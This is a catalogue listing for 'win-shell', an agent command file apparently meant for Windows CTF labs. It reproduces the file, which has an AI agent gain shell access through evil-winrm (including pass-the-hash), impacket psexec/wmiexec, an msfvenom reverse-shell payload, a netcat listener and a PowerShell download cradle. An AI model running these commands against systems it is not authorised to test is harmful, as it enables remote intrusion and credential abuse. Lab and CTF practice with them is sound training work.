win-shell

A command set for opening an interactive session on a Windows computer when you already have valid credentials or code execution. It covers remote login, desktop access, and reverse-shell methods.

In plain words
What is it for?
Use it in authorized security labs or CTFs to connect to Windows machines through WinRM, SMB, RDP, or a reverse shell.
Why use it?
It helps choose a suitable way to access a Windows target instead of trying connection methods one by one. It also checks what the supplied credentials can do.

Command for Claude Code

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add commands/pashki975/thm-claude-kit/win-shell
Clone the repo
git clone --depth 1 https://github.com/pashki975/thm-claude-kit

Made for: Claude Code.

Per session 14 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 504 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00014 $0.00504
Opus 5 $0.00007 $0.00252
Sonnet 5 $0.00003 $0.00101
Haiku 4.5 $0.00001 $0.00050

Measured 2d ago against content hash 64b3850a850b, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

win-shell scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

.claude/commands/win-shell.md · 37 lines

What it actually says

Help me get a shell on the Windows target. Args: $ARGUMENTS Expected:

Pick the right access method based on what the creds allow. Show my tun0 IP as LHOST for any reverse shell.

Credentialed remote access (preferred — try in this order)

  • WinRM (port 5985): evil-winrm -i <IP> -u <user> -p <pass> (pass-the-hash: evil-winrm -i <IP> -u <user> -H <NTLM-hash>)
  • SMB exec (needs admin): impacket-psexec <DOMAIN>/<user>:<pass>@<IP> quieter alternatives: impacket-wmiexec, impacket-smbexec, impacket-atexec
  • Check what a cred can do first: nxc smb <IP> -u <user> -p <pass> ("Pwn3d!" means local admin → psexec/wmiexec will work)

RDP (if 3389 open and you want a GUI)

  • xfreerdp /v:<IP> /u:<user> /p:<pass> +clipboard /dynamic-resolution

Reverse shells (when you have code exec but no cred login)

  • Best option: host Invoke-PowerShell reverse shell and pull it in with a PowerShell download-cradle. Generate a payload with: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<tun0> LPORT=<port> -f exe -o shell.exe
  • Serve files to the target: python3 -m http.server 80
  • Catch it: rlwrap nc -lvnp <port> in a separate terminal
  • A PowerShell base64 one-liner (-e) is often the most reliable single-line option; generate it and explain how to run it on the target.

After landing

  • whoami /priv and whoami /groups — check for exploitable privileges immediately
  • Grab the user flag (usually C:\Users<user>\Desktop\user.txt)
  • Then move to /win-privesc

Never run a payload against anything but the assigned target. Explain each step.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 37 lines · 14 tokens per session scan A 64b3850a850b

Subscribe to this mod's changes

win-shell is a command published in the GitHub repository pashki975/thm-claude-kit (2 stars, last pushed 19d ago), licensed MIT. It adds 14 tokens to every session and 504 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.